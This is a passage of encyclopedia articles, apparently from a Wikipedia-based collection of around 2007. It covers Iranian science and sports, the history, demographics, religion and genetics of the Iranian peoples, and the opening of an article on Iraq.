          Iran ranks seventh among countries in the world with the most archeological architectural ruins and attractions from antiquity as recognized by UNESCO. Fifteen of UNESCO's World Heritage Sites are creations of Iranian architecture and the mausoleum of Maussollos was identified as one of the Seven Wonders of the Ancient World.


          


          Science and technology
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          Science in Iran has a considerable history. From the Qanat to the Yakhchal, to the windmill. Iranians contributed significantly to the current understanding of astronomy, nature, medicine, mathematics, and philosophy. Muhammad ibn Mūsā al-Khwārizmī is sometimes considered (along with Diophantus) as the "father of Algebra". The isolation of ethanol (alcohol) as a pure compound was first achieved by Persian alchemists. Throughout the Middle Ages, the natural philosophy and mathematics of the ancient Greeks and Persians were furthered and preserved within Persia. The Academy of Gundishapur was a renowned centre of learning in the city of Gundeshapur during late antiquity and was the most important medical centre of the ancient world during the sixth and seventh centuries. During this period, Persia became a centre for the manufacture of scientific instruments, retaining its reputation for quality well into the nineteenth century.


          Iran strives to revive the golden age of Persian science. The country has increased its publication output nearly tenfold from 1996 through 2004, and has been ranked first in terms of output growth rate followed by China.


          Despite the limitations in funds, facilities, and international collaborations, Iranian scientists remain highly productive in several experimental fields as pharmacology, pharmaceutical chemistry, organic chemistry, and polymer chemistry. Iranian scientists are also helping construct the Compact Muon Solenoid, a detector for CERN's Large Hadron Collider due to come online in May 2008.


          In the biomedical sciences, Iran's Institute of Biochemistry and Biophysics is a UNESCO chair in biology, and in late 2006, Iranian scientists successfully cloned a sheep by somatic cell nuclear transfer, at the Rouyan research centre in Isfahan.


          



          
            [image: An eighteenth-century Persian astrolabe]

            
              An eighteenth-century Persian astrolabe
            

          


          The Iranian nuclear program was launched in the 1950s. Iran's current facilities includes several research reactors, a uranium mine, an almost complete commercial nuclear reactor, and uranium processing facilities that include a uranium enrichment plant. The Iranian Space Agency launched its first reconnaissance satellite named Sina-1 in 2006, and a "space rocket" in 2007, which aimed at improving science and research for university students.


          Iranian scientists are a significant portion of the international scientific community. In 1960, Ali Javan co-invented the first gas laser, along with American physicist William R. Bennett, Jr. In 1965, fuzzy set theory was introduced by Lotfi Zadeh. Iranian cardiologist, Tofy Mussivand invented the first artificial cardiac pump, the precursor of the artificial heart, and developed it further afterwards. HbA1c was discovered by Samuel Rahbar and introduced to the medical community, thereby furthering research and treatment of Diabetes. Iranian physics is especially strong in string theory, with many papers being published in Iran. Iranian-American string theorist Cumrun Vafa proposed the Vafa-Witten theorem together with Edward Witten. The KPZ equation in theoretical physics was named after Mehran Kardar.


          


          Sports
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          With two thirds of Iran's population under the age of 25, sports constitutes a highly active portion of Iran's society, both traditional and modern. Iran hence was the birthplace of sports such as polo, backgammon, and Varzesh-e Pahlavani.


          Freestyle Wrestling is traditionally referred to as Iran's national sport. Former WWF champion Iron Sheik wrestled as an amateur in Iran before moving to the United States but today, the most popular sport in Iran is football (soccer), with national team being a World Cup finalist three times, having won the Asian Cup on three occasions and was the first country in the Middle East to host the Asian Games. Iran is home to several unique skiing resorts, with the Tochal resort being the world's fifth-highest ski resort (3,730 m/12,238 ft at its highest station) situated only fifteen minutes away from Tehran. Being a mountainous country, Iran offers enthusiasts abundant challenges for hiking, rock climbing, and mountain climbing.


          Women are also active in sports, primarily in volleyball and badminton and even rallying. Female drivers participate in national rally tournaments, such as the famous driver Laleh Seddigh.
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        Iranian peoples


        
          

          The Iranian peoples are a collection of ethnic groups, defined along linguistic lines as speaking Iranian languages. They are spread across the Iranian plateau, stretching from the Hindu Kush to central Anatolia and from Central Asia to the Persian Gulf - a region that is sometimes termed Greater Iran. Speakers of Iranian languages, however, were once found throughout Eurasia, from the Balkans to western China. As Iranian peoples are not confined to the borders of the current state of Iran, the term Iranic peoples is sometimes used to avoid confusion with the citizens of Iran.


          The series of ethnic groups which comprise the Iranian peoples are traced to a branch of the ancient Indo-European Aryans known as the Iranians or Proto-Iranians. Archaeological finds in Russia, Central Asia and the Middle East have elucidated some scant information about the way of life of these early peoples. The Iranian peoples have played an important role throughout history: the Achaemenid Persians established one of the world's first multi-national states and the Scythian- Sarmatian nomads dominated the vast expanses of Russia and western Siberia for centuries with a group of Sarmatian warrior women possibly being the inspiration for the Greek legend of the Amazons. In addition, the various religions of the Iranian peoples, including Zoroastrianism and Manichaeism, are believed by some scholars to be important early philosophical influences on Judeo-Christianity. Early Iranian tribes are the ancestors of many modern peoples, including Persians, Kurds, Pashtuns and many other groups.


          


          Etymology and usage


          The term Iranian is derived from Iran (from Aryānām, (lit: "Land of the Aryans"). The old Proto-Indo-Iranian term Arya, per Thieme meaning "hospitable", is believed to have been one of the self-referential terms used by the Aryans, at least in the areas populated by Aryans who migrated south from Central Asia. In the late part of the Avesta (Vendidad 1) one of their homelands was referred to as Airyanem Vaejah. The homeland varied in its geographic range, the area around Herat ( Pliny's view) and even the entire expanse of the Iranian plateau ( Strabo's designation)..


          From a linguistic standpoint, the term Iranian peoples is similar in its usage to the term Germanic peoples, which includes various peoples who speak Germanic languages such as German, English and Dutch, Norwegian, or the term Slavic peoples, which includes various speakers of Slavic languages including Russians, Poles, Croats or Serbs. Thus, along similar lines, the Iranian peoples include not only the Persians and Tajiks (or eastern Persians) of Iran, Afghanistan and Tajikistan, but also the Pashtuns, Kurds, Ossetians, Zazas, Baloch and others. The academic usage of the term Iranian peoples or Iranic peoples is distinct from the state of Iran and its various citizens (who are all Iranian by nationality and thus popularly referred to as Iranians) in the same way that Germanic peoples is distinct from Germans. Many citizens of Iran are not necessarily "Iranian peoples" by virtue of not being speakers of Iranian languages and may not have discernible ties to ancient Iranian tribes.


          


          History and settlement


          


          Roots
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          Having descended from the Proto-Indo-Iranians, the Proto-Iranians separated from the Indo-Aryans, Dards (variously considered as Indo-Iranian or within the Indo-Aryan branch), and the Nuristanis in the early 2nd millennium BCE, in Central Asia. The area between northern Afghanistan, the Aral Sea and the Urals is hypothesized to have been the region where the Proto-Iranians first emerged, following the separation of the Indo-Iranians, in the area of the previous, non-Indo-European Bactria-Margiana Archaeological Complex, a Bronze Age culture of Central Asia.


          By the early 1st millennium, Ancient Iranian peoples such as Medes, Persians, Bactrians and Parthians populated the Iranian plateau, while others such as the Scythians, Cimmerians, Sarmatians and Alans populated the steppes north of the Black Sea. The Saka and Scythian tribes spread as far west as the Balkans and as far east as Xinjiang.


          The division into an " Eastern" and a " Western" group by the early 1st millennium is visible in Avestan vs. Old Persian, the two oldest known Iranian languages. The Old Avestan texts known as the Gathas are believed to have been composed by Zoroaster, the founder of Zoroastrianism, with the Yaz culture (ca. 15001100 BC) as a candidate for the development of Eastern Iranian culture.


          Old Persian appears to have been established in written form by 519 BCE, following the creation of the Old Persian script, inspired by the cuneiform script of the Assyrians.


          


          Western Iranians
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          During the first centuries of the first millennium BCE, the ancient Persians established themselves in the western portion of the Iranian plateau and appear to have interacted considerably with the Elamites and Babylonians, while the Medes also entered in contact with the Assyrians. Remnants of the Median language and Old Persian show their common Proto-Iranian roots, emphasized in Strabo and Herodotus' description of their languages as very similar to the languages spoken by the Bactrians and Soghdians in the east. Following the establishment of the Achaemenid Empire, the Persian language spread from Fars to various regions of the empire, with the modern dialects of Iran, Afghanistan (also known as Dari) and Central-Asia (known as Tajiki) descending from Old Persian.


          Old Persian is first attested in the Behistun Inscription (ca. 519 BC), recording a proclamation by Darius I of Persia. In southwestern Iran, the Achaemenid kings usually wrote their inscriptions in trilingual form ( Elamite, Babylonian and Old Persian) while elsewhere other languages were used. The administrative languages were Elamite in the early period, and later Imperial Aramaic.


          The early inhabitants of the Achaemenid Empire appear to have adopted the religion of Zoroastrianism. Other prominent Iranian peoples, such as the Kurds, are surmised to stem from Iranic populations that mixed with Caucasian peoples such as the Hurrians, due to some unique qualities found in the Kurdish language that mirror those found in Caucasian languages. The Baloch who speak a west Iranian language relate an oral tradition regarding their migration from Aleppo, Syria around the year 1000 AD, whereas linguistic evidence links Balochi to Kurdish and Zazaki.


          


          Eastern Iranians


          While the Iranian tribes of the south are better known through their texts and modern counterparts, the tribes which remained largely in the vast Eurasian expanse are known through the references made to them by the ancient Greeks, Persians, Indo-Aryans as well as by archaeological finds. Many ancient Sanskrit texts make references to tribes like Sakas, Paradas, Kambojas, Bahlikas, Uttaramadras, Madras, Lohas, Parama Kambojas, Rishikas, Tukharas or Tusharas etc and locate them in the ( Uttarapatha) (north-west) division, in Central Asia, around Hindukush range. The Greek chronicler, Herodotus (5th century BC) makes references to a nomadic people, the Scythians; he describes as having dwelt in what is today southern Russia.
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          It is believed that these Scythians were conquered by their eastern cousins, the Sarmatians, who are mentioned by Strabo as the dominant tribe which controlled the southern Russian steppe in the 1st millennium AD. These Sarmatians were also known to the Romans, who conquered the western tribes in the Balkans and sent Sarmatian conscripts, as part of Roman legions, as far west as Roman Britain.


          The Sarmatians of the east became the Alans, who also ventured far and wide, with a branch ending up in Western Europe and North Africa, as they accompanied the Germanic Vandals during their migrations. The modern Ossetians are believed to be the sole direct descendants of the Alans, as other remnants of the Alans disappeared following Germanic, Hunnic and ultimately Slavic migrations and invasions.
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          Some of the Saka-Scythian tribes in Central Asia would later move further south and invade the Iranian plateau and northwestern India (see Indo-Scythians). Another Iranian tribe related to the Saka-Scythians were the Parni in Central Asia, and who later become indistinguishable from the Parthians, speakers of a northwest-Iranian language. Many Iranian tribes, including the Khwarezmians, Massagetae and Sogdians, were assimilated and/or pushed out of Central Asia by the migrations of Turkic tribes emanating out of Xinjiang and Siberia.


          The most dominant surviving Eastern Iranians are represented by the Pashtuns, whose origins are generally believed to be in southern Afghanistan, from which they began to spread until they reached as far west as Herat and as far east as the Indus in the modern state of Pakistan. The Pashto language shows affinities to the Avestan and Bactrian; both Bactrian and Pashto languages are of Middle Iranian origin.


          The modern Sariqoli in southern Xinjiang and the Ossetes of the Caucasus are remnants of the various Saka tribes. The modern Ossetians claim to be the descendants of the Alano-Sarmatians and their claims are supported by their Northeast Iranian language, while culturally the Ossetians resemble their Caucasian neighbors, the Kabardians, Circassians and Georgians. Various extinct Iranian peoples existed in the eastern Caucasus, including the Azaris, while some Iranian peoples remain in the region, including the Talysh and the Tats (including the Judeo-Tats, who have relocated to Israel), found in Azerbaijan and as far north as the Russian republic of Dagestan. A remnant of the Sogdians is found in the Yaghnobi speaking population in parts of the Zeravshan valley in Uzbekistan.


          


          Later developments


          
            	See also: History of Central Asia, History of the Middle East, History of South Asia, History of Iran, History of the Kurds, History of Afghanistan, History of Tajikistan, History of Uzbekistan, History of Turkmenistan, History of Pakistan, History of Russia, History of the Balkans, History of India,and History of Azerbaijan
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          Starting with the reign of Omar in 634 CE, Muslim Arabs began a conquest of the Iranian plateau. The Arabs conquered the Sassanid Empire of the Persians and seized much of the Byzantine Empire populated by the Kurds and others. Ultimately, the various Iranian peoples, including the Persians, Azaries, Kurds and Pashtuns, converted to Islam. The Iranian peoples would later split along sectarian lines as the Persians (and later the Hazara) adopted the Shi'a sect. As ancient tribes and identities changed, so did the Iranian peoples, many of whom assimilated foreign cultures and peoples.


          Later, during the 2nd millennium CE, the Iranian peoples would play a prominent role during the age of Islamic expansion and empire. Saladin, a noted adversary of the Crusaders, was an ethnic Kurd, while various empires centered in Iran (including the Safavids) re-established a modern dialect of Persian as the official language spoken throughout much of what is today Iran and adjacent parts of Central Asia. Iranian influence spread to the Ottoman Empire, where Persian was often spoken at court, as well as in the Mughal Empire, which began in Afghanistan and shifted to India. All of the major Iranian peoples reasserted their use of Iranian languages following the decline of Arab rule, but would not begin to form modern national identities until the 19th and early 20th centuries (just as Germans and Italians were beginning to formulate national identities of their own).


          The following either partially descend from Iranian peoples or are sometimes regarded as possible descendants of ancient Iranian peoples:


          
            	Turkic-speakers:

          


          
            	Azeris: Although Azeris speak a Turkic language (modern Azerbaijani language), they are believed to be primarily descendants of ancient Iranians and Caucasians. Thus, due to their historical ties with various ancient Iranians, as well as their cultural ties to Persians, the Azeris are often associated with the Iranian peoples (see Origin of Azerbaijani people and the Iranian theory regarding the origin of the Azerbaijanis for more details).


            	Uzbeks: The modern Uzbek people are believed to have both Iranian and Turkic ancestry. "Uzbek" and "Tajik" are modern designations given to the culturally homogeneous, sedentary population of Central Asia. The local ancestors of both groups - the Turkic-speaking Uzbeks and the Iranian-speaking Tajiks - were known as " Sarts" ("sedentary merchants") prior to the Russian conquest of Central Asia, while "Uzbek" or "Turk" were the names given to the nomadic and semi-nomadic populations of the area. Still today, modern Uzbeks and Tajiks are known as "Sarts" to their Turkic neighbours, the Kazakhs and the Kyrgyz. The ancient Iranic Soghdians and Bactrians are among their ancestors. Culturally, the Uzbeks are closer to their sedentary Iranian-speaking neighbours rather than to their nomadic and semi-nomadic Turkic neighbours. Some Uzbek Scholars e.g. Ahmadov and Askarov maximize the Iranian roots while minimize the Turkic roots of Uzbeks

          


          
            	Slavic-speakers:

          


          The names of the South Slavic peoples, the Serbs and Croats, are sometimes derived from certain ancient Iranian peoples, specifically the Sarmatians. The theory stems from speculation, suggesting that the names 'Serb' and 'Croat' derive from the Sarmatian tribes of Serboi and Horouthos. These tribes might have migrated from the Eurasian steppe lands to southern Poland (the postulated homeland of Serbs and Croats), assimilated with the numerically superior Slavs, and might have given their name to them (might have been a ruling core). See also: Theories on the origin of Serbs and Theories on the origin of Croats).


          


          Demographics
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          There are an estimated 150 to 200 million native speakers of Iranian languages, the four major groups of Persians, Pashtuns, Kurds and Baloch accounting for about 90% of this number. Currently, most of these Iranian peoples live in Iran, Afghanistan, Tajikistan, Pakistan, parts of Uzbekistan (especially Samarkand and Bukhara), the Caucasus ( Ossetia and Azerbaijan) and the Kurdish areas (referred to as Kurdistan) of Turkey, Iraq, Iran and Syria. Smaller groups of Iranian peoples can also be found in western China and a few in western India.


          Due to recent migrations, there are also large communities of speakers of Iranian languages in Europe, the Americas, and Israel.


          The following is a list of Iranian peoples with the respective groups's core areas of settlements and their estimated sizes (in million):


          
            
              	People

              	region

              	population
            


            
              	
                Persians

                
                  	
                    
                      	Aimaqs


                      	Farsiwans


                      	Hazaras


                      	Tajiks


                      	Tats

                    

                  

                

              

              	
                Iran, Afghanistan, Tajikistan

                Uzbekistan (Tajiks), Pakistan (Hazaras)

              

              	
                
                  60
                
50 to 70 M
              
            


            
              	
                Pashtuns

                
                  	
                    
                      	Durrani (Abdali)


                      	Ghilzai

                    

                  

                

              

              	Afghanistan, Pakistan

              	
                
                  42
                
42 M
              
            


            
              	Kurds

              	Iran, Iraq, Turkey, Syria, Afghanistan

              	
                
                  32
                
27 to 37 M
              
            


            
              	Baloch

              	Iran, Afghanistan, Pakistan

              	
                
                  15
                
15 M
              
            


            
              	Caspians ( Mazanderanis & Gilakis)

              	Iran

              	
                
                  07
                
5 to 10 M
              
            


            
              	Zazas

              	Turkey

              	
                
                  03
                
3 to 4 M
              
            


            
              	Lurs and Bakhtiari

              	Iran

              	
                
                  026
                
3.6 M
              
            


            
              	Laks

              	Iran

              	
                
                  010
                
1 M
              
            


            
              	Pamiri people

              	Tajikistan, Afghanistan

              	
                
                  009
                
0.9 M
              
            


            
              	Talysh

              	Azerbaijan, Iran

              	
                
                  009
                
0.9 M
              
            


            
              	
                Ossetians

                
                  	
                    
                      	Jasz

                    

                  

                

              

              	Russia, South Ossetia (Georgia), Hungary

              	
                
                  007
                
0.7 M
              
            


            
              	Sariqoli

              	southern Xinjiang, China

              	
                
                  007
                

              
            


            
              	Yaghnobi

              	on the Zerafshan River,Uzbekistan

              	
                
                  007
                

              
            


            
              	Parsis & Iranis

              	India

              	
                
                  001
                
0.1 M
              
            


            
              	
                Wakhi

                
                  	
                    
                      	" Tajiks of China"


                      	Shughni

                    

                  

                

              

              	Afghanistan, Tajikistan, Xinjiang in China

              	
                
                  0005
                
0.05 M
              
            

          


          


          Diversity


          It is largely through linguistic similarities that the Iranian peoples have been linked, as many non-Iranian peoples have adopted Iranian languages and cultures. However, other common traits have been identified as well and a stream of common historical events have often linked the southern Iranian peoples, including Hellenistic conquests, the various empires based in Persia, Arab Caliphates and Turkic invasions.


          Although most of the Iranian peoples settled in the Iranian plateau region, many expanded into the periphery, ranging from the Caucasus and Anatolia to the Indus. The Iranian peoples have often mingled with other populations, with the notable example being the Hazaras, who display a distinct Turko-Mongol background that contrasts with most other Iranian peoples. Similarly, the Baloch have mingled with the Dravidian-speaking Brahui (who have been strongly modified by Iranian immigrants themselves), while the Ossetians have invariably mixed with Georgians and other Caucasian peoples. The Pashtuns vary with some having mingled with fellow Iranian groups such as the Tajiks and Turkic peoples and those to the east who have mingled with Dardic and Nuristani peoples. Moreover, the Kurds are an eclectic Iranian people who, although displaying some ethnolinguistic ties to other Iranian peoples (in particular their Iranian language and some cultural traits), are believed to have mixed with Caucasian and Semitic peoples. Modern Persians themselves are also a heterogeneous group of peoples descended from various ancient Iranian and indigenous peoples of the Iranian plateau, including the Elamites. Thus, not unlike the aforementioned example of Germanic peoples including the English, who are both of Germanic and Celtic origin, Iranians are an ethno-linguistic group and the Iranian peoples display varying degrees of common ancestry and cultural traits that denote their respective identities.


          


          Culture
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              Iranian model displaying traditional attire.
            

          


          Many of the cultural traits of the ancient Iranians were similar to other Proto-Indo-European societies. Like other Indo-Europeans, the early Iranians practiced ritual sacrifice, had a social hierarchy consisting of warriors, clerics and farmers and poetic hymns and sagas to recount their deeds.


          Following the Iranian split from the Indo-Iranians, the Iranians developed an increasingly distinct culture. Various common traits can be discerned among the Iranian peoples. For example, the social event Norouz is an Iranian festival that is practiced by nearly all of the Iranian peoples as well as others in the region. Its origins are traced to Zoroastrianism and pre-historic times.


          Some Iranian peoples exhibit distinct traits that are unique unto themselves. The Pashtuns adhere to a code of honour and culture known as Pashtunwali, which has a similar counterpart among the Baloch, called Mayar, that is more hierarchical.


          


          Religion
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          The early Iranian peoples worshipped various deities found throughout other cultures where Indo-European immigrants established themselves. The earliest major religion of the Iranian peoples was Zoroastrianism, which spread to nearly all of the Iranian peoples living in the Iranian plateau.


          Modern speakers of Iranian languages mainly follow Islam. Some follow Judaism, Christianity and the Bah' Faith, with an unknown number showing no religious affiliation. Overall the numbers of Sunni and Shia among the Iranian peoples are equally distributed. Most Kurds, Tajiks, Pashtuns, and Baluchis are Sunni Muslims, while the remainder are mainly Shi'a, comprising mostly of Persians in Iran, Zazas in Turkey, Hazaras in Afghanistan, and Pamiri peoples in Tajikistan and China. The Christian community is largely represented by the Russian Orthodox and Georgian Orthodox Ossetians followed by Nestorians. Judaism is followed mainly by Persian Jews, Jews of Afghanistan, Jews in Pakistan, Kurdish Jews and Mountain Jews (of the Caucasus), most of which are now found in Israel. The historical religion of the Persian Empire was Zoroastrianism and it still has a few thousand followers, mostly in Yazd and Kerman. They are known as the Parsis in the Indian subcontinent, or Zoroastrians in Iran.
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          Cultural assimilation


          In matters relating to culture, the various Turkic-speaking minorities of Iran (notably the Azerbaijani people) and Afghanistan ( Uzbeks and Turkmen) are often conversant in Iranian languages, in addition to their own Turkic languages and also have Iranian culture to the extent that the term Turko-Iranian can be applied. The usage applies to various circumstances that involve historic interaction, intermarriage, cultural assimilation, bilingualism and cultural overlap or commonalities.


          Notable among this synthesis of Turko-Iranian culture are the Azeris, whose culture, religion and significant periods of history are linked to the Persians. Certain theories and genetic tests suggest that the Azeris are descendants of ancient Iranian peoples who lost their Iranian language (see Ancient Azari language) following the Turkic invasions of Azerbaijan in the 11th century CE. In fact, throughout much of the expanse of Central Asia and the Middle East, Iranian and Turkic culture has merged in many cases to form various hybrid populations and cultures, as evident from various ruling dynasties such as the Ghaznavids, Seljuqs and Mughals.


          Iranian cultural influences have also been significant in Central Asia, where Turkic invaders are believed to have largely mixed with native Iranian peoples of which only the Tajik remain, in terms of language usage. The areas of the former Soviet Union adjacent to Iran, Afghanistan and the Kurdish areas (such as Azerbaijan and Uzbekistan) have gone through the prism of decades of Russian and Soviet rule that has reshaped the Turko-Iranian cultures there to some degree.


          


          Genetics


          Some genetic testings of Iranian peoples have revealed many common genes for most of the Iranian peoples, but with numerous exceptions and regional variations. Other genetic scholars claim that the high-resolution Y-chromosome genotyping of their study allowed for an in-depth analysis unattained in previous studies of the area. The study reveals important migratory and demographic events that shaped the contemporary genetic landscape of the Iranians.


          Genetic studies conducted by Cavalli-Sforza have revealed that Iranians cluster closely with European groups and more distantly from Near Eastern groups. Preliminary genetic tests suggest common origins for most of the Iranian peoples. This study is partially supported by another one, based on Y-Chromosome haplogroups.


          Basically, the findings of this study reveal many common genetic markers found among the Iranian peoples from the Tigris to the areas west of the Indus. This correlates with the Iranian languages spoken from the Caucasus to Kurdish areas in the Zagros region and eastwards to western Pakistan and Tajikistan and parts of Uzbekistan in Central Asia. The extensive gene flow is perhaps an indication of the spread of Iranian-speaking peoples, whose languages are now spoken mainly on the Iranian plateau and adjacent regions. These results relate the relationships of Iranian peoples with each other, while other comparative testing reveals some varied origins for Iranian peoples such as the Kurds, who show genetic ties to the Caucasus at considerably higher levels than any other Iranian peoples except the Ossetians, as well as links to Europe and Semitic populations that live in close proximity such as the Arab and Jews.


          According to a 2001 study, the genetic ancestry of the Kurds and other Iranian-speaking populations in Anatolia does diverge from that of other Iranian groups.


          Another recent study of the genetic landscape of Iran was completed by a team of Cambridge geneticists led by Dr. Maziar Ashrafian Bonab (an Iranian Azarbaijani). Bonab remarked that his group had done extensive DNA testing on different language groups, including Indo-European and non Indo-European speakers, in Iran. The study found that the Azerbaijanis of Iran do not have a similar FSt and other genetic markers found in Anatolian and European Turks. However, the genetic Fst and other genetic traits like MRca and mtDNA of Iranian Azeris were identical to Persians in Iran.


          Ultimately, genetic tests reveal that while the Iranian peoples show numerous common genetic markers overall, there are also indications of interaction with other groups, regional variations and cases of genetic drift. In addition, indigenous populations may have survived the waves of early Aryan migrations as cultural assimilation led to large-scale language replacement (as with some Kurds, Hazaras and west Iranian Persians and others). Further testing will ultimately be required and may further elucidate the relationship of the Iranian peoples with each other and various neighboring populations.


          


          Indo-European roots


          
            
              	
                Indo-European topics

              
            


            
              	Indo-European languages
            


            
              	
                Albanian Armenian Baltic

                Celtic Germanic Greek

                Indo-Iranian ( Indo-Aryan, Iranian)

                Italic Slavic 

                extinct: Anatolian Paleo-Balkans ( Dacian,

                Phrygian, Thracian) Tocharian

              
            


            
              	Indo-European peoples
            


            
              	
                Albanians Armenians

                Balts Celts Germanic peoples

                Greeks Indo-Aryans

                Iranians Latins Slavs


                historical: Anatolians ( Hittites, Luwians)

                Celts ( Galatians, Gauls) Germanic tribes

                Illyrians Italics  Sarmatians

                Scythians  Thracians  Tocharians

                Indo-Iranians ( Rigvedic tribes, Iranian tribes)

              
            


            
              	Proto-Indo-Europeans
            


            
              	Language Society Religion

              
            


            
              	Urheimat hypotheses
            


            
              	Kurgan hypothesis

              Anatolia Armenia India PCT

              
            


            
              	Indo-European studies
            

          


          A large-scale research by Cavalli-Sforza reveals genetical similarities between all Eurasian speakers of Indo-European languages, including speakers of European, Iranian and Indo-Aryan languages; but this does not necessarily prove a common Indo-European origin for these populations and may be due to common Non-Indo-European ancestors (see Paleolithic Continuity Theory) who were later linguistically Indo-Europeanized (q.v.).


          The results of tests focused on Y-chromosome haplogroups give a more detailed picture of the events which may have taken place in Iranian-speaking lands in the past 7000-5000 years.


          Haplogroup M17, also known as R1a1, has proven to be a diagnostic Indo-Iranian marker. The highest R1a1 frequencies are detected in the Central Asian populations of Ishkashemi Tajiks (68%) and Pamiri Tajiks (64%), both groups being remnants of the original Eastern Iranian population of the region. Apart from these two groups, the eastern parts of the Iranian Highlands generally reveal the highest frequency of R1a1, up to 35%, similar to Northern India, making it higher than South and West Europe and Scandinavia, while Western Iran (excluding major cities like Tehran and Isfahan), appears to have had little genetic influence from the R1a1-carrying Indo-Iranians, about 10%, attributed to language replacement through the "elite-dominance" model in a similar manner which occurred in Europe and India. In this regard, it is likely that the Kavir and Lut deserts in the centre of Iran have acted as significant barriers to gene flow.
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        Iraq


        
          

          
            
              	
                جمهورية العراق

                Jumhūriyyat ul-ʿIrāq (Arabic)

                كۆماری عێراق

                Komara Iraq (Kurdish)

                
                  Republic of Iraq
                

              
            


            
              	
                
                  
                    	[image: Flag of Iraq]
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                    	Flag

                    	Coat of arms
                  

                

              
            


            
              	Motto:الله أكبر (Arabic)

              " Allahu Akbar"( transliteration)

              "God is the Greatest"
            


            
              	Anthem: Mawtini(new)

              Ardh Alforatain(previous)1

            


            
              	
                
                  [image: Location of Iraq]
                


                

              
            


            
              	Capital

              (and largest city)

              	Baghdad2

            


            
              	Official languages

              	Arabic, Kurdish
            


            
              	Demonym

              	Iraqi
            


            
              	Government

              	Developing parliamentary republic
            


            
              	-

              	President

              	Jalal Talabani
            


            
              	-

              	Prime Minister

              	Nouri al-Maliki
            


            
              	Independence
            


            
              	-

              	from the Ottoman Empire

              	

              October 1, 1919
            


            
              	-

              	from the United Kingdom

              	

              October 3, 1932
            


            
              	Area
            


            
              	-

              	Total

              	438,317km( 58th)

              169,234 sqmi
            


            
              	-

              	Water(%)

              	1.1
            


            
              	Population
            


            
              	-

              	2006estimate

              	26,783,3834( 40th)
            


            
              	-

              	Density

              	66/km( 125th)

              171/sqmi
            


            
              	GDP( PPP)

              	2006estimate
            


            
              	-

              	Total

              	$89.8 billion( 61st)
            


            
              	-

              	Per capita

              	$2,900( 130th)
            


            
              	Currency

              	Iraqi dinar ( IQD)
            


            
              	Time zone

              	AST ( UTC+3)
            


            
              	-

              	Summer( DST)

              	ADT( UTC+4)
            


            
              	Internet TLD

              	.iq
            


            
              	Calling code

              	+964
            


            
              	1

              	The Kurds use Ey Reqb.
            


            
              	2

              	The capital of Iraqi Kurdistan is Arbil.
            


            
              	3

              	Arabic and Kurdish are the official languages of the Iraqi government. According to Article 4, Section 4 of the Iraqi Constitution, Assyrian (Syriac) (a dialect of Aramaic) and Iraqi Turkmen (a dialect of Southern Azerbaijani) languages are official in areas where the respective populations they constitute density of population.
            


            
              	4

              	[ CIA World Factbook]
            

          


          The Federal Republic of Iraq, usually known as Iraq (Arabic: العراق, pronounced [ʕiˈrɑːq]), formerly known as Mesopotamia, is a country in the Middle East spanning most of the northwestern end of the Zagros mountain range, the eastern part of the Syrian Desert and the northern part of the Arabian Desert. It shares borders with Kuwait and Saudi Arabia to the south, Jordan to the west, Syria to the northwest, Turkey to the north, and Iran to the east. It has a very narrow section of coastline at Umm Qasr on the Persian Gulf. There are two major flowing rivers: the Tigris and the Euphrates. These provide Iraq with agriculturally capable land and contrast with the desert landscape that covers most of the Middle East.


          The capital city, Baghdad, is in the centre-east. Iraq's rich history dates back to ancient Mesopotamia. The region between the Tigris and Euphrates rivers is identified as the Fertile Crescentthe cradle of civilizationand the birthplace of writing. During its long history, Iraq has been the centre of the Akkadian, Assyrian, Babylonian and Abbasid empires, and part of the Achaemenid, Macedonian, Parthian, Umayyad, Sassanid, Ottoman and British empires.


          Since an invasion in 2003, a multinational coalition of forces, mainly American and British, has occupied Iraq. The invasion has had wide-reaching consequences: increased civil violence, political breakdown, the removal and execution of former authoritarian President Saddam Hussein, and national problems in the development of political balance, economy, infrastructure, and use of the country's huge reserves of oil. According to the 2007 Failed States Index, produced by the Carnegie Endowment for International Peace's Foreign Policy magazine and the Fund for Peace, Iraq has recently emerged as the world's second most unstable country, after Sudan. Under the control of the U.S. military, Iraq is developing a parliamentary democracy composed of 18 governorates (known as muhafadhat).


          


          Etymology


          The origin of the name "Iraq" (Arabic: العراق 'al-Irāq, Turkish: Irak, Assyrian: ܥܪܐܩ, Kurdish: عيَراق) is disputed. There are several suggested origins for the name. One dates to the Sumerian city of Uruk (or Erech); another maintains that Iraq comes from the Aramaic language, meaning "the land along the banks of the rivers"; another that Iraq refers to the root of a palm tree numerous in the country.


          According to Professor Wilhelm Eilers, The name al-Irāq, for all its Arabic apperance, is derived from Middle Persian erāq "lowlands".


          Under the Persian Sassanid dynasty, there was a region called "Erak Arabi," referring to the part of the south western region of the Persian Empire that is now part of southern Iraq. The name Al-Iraq was used by the Arabs themselves, from the 6th century, for the land Iraq covers.


          In English, there are several ways of pronouncing Iraq.(1) [ɪ.ˈɹɑ(ː)k], (2) [ɪ.ˈɹk]], (3) [aɪ.ˈɹk]. (1) is the preferred pronunciation in most dictionaries, and the only pronunciation listed in the Oxford English Dictionary. MQD lists (2) first. (1) is closer to the Arabic than (2) is. The original Arabic pronunciation is [ʕiˈrɑːq].


          


          Geography
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          Iraq is located at . Spanning 437,072km (168,743 sq mi), it is the 58th-largest country in the world. It is comparable in size to the US state of California, and somewhat larger than Paraguay.


          Iraq mainly consists of desert, but between the two major rivers (Euphrates and Tigris) the area is fertile, the rivers carrying about 60 million cubic metres (78 million cu. yd) of silt annually to the delta. The north of the country is mostly composed of mountains; the highest point being at 3,611 metres (11,847 ft) point, unnamed on the map opposite, but known locally as Cheekah Dar (black tent). Iraq has a small coastline along the Persian Gulf. Close to the coast and along the Shatt al-Arab (known as arvandrūd: اروندرود among Iranians) there used to be marshlands, but many were drained in the 1990s.


          The local climate is mostly desert, with mild to cool winters and dry, hot, cloudless summers. The northern mountainous regions have cold winters with occasional heavy snows, sometimes causing extensive flooding.


          Comprising 112 billion barrels of proven oil, Iraq ranks second in the world behind Saudi Arabia in the amount of Oil reserves; the United States Department of Energy estimates that up to 90% of the country remains unexplored. These regions could yield an additional 100 billion barrels. Iraq's oil production costs are among the lowest in the world but only about 2,000 oil wells have been drilled in Iraq, compared with about 1 million wells in Texas alone.


          


          History


          


          Ancient Mesopotamia
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          The region of Iraq was historically known as Mesopotamia ( Greek: "between the rivers"). It was home to the world's first known civilization, the Sumerian culture, followed by the Akkadian, Babylonian, and Assyrian cultures, whose influence extended into neighboring regions as early as 5000 BC. These civilizations produced some of the earliest writing and some of the first sciences, mathematics, laws and philosophies of the world; hence its common epithet, the " Cradle of Civilization".


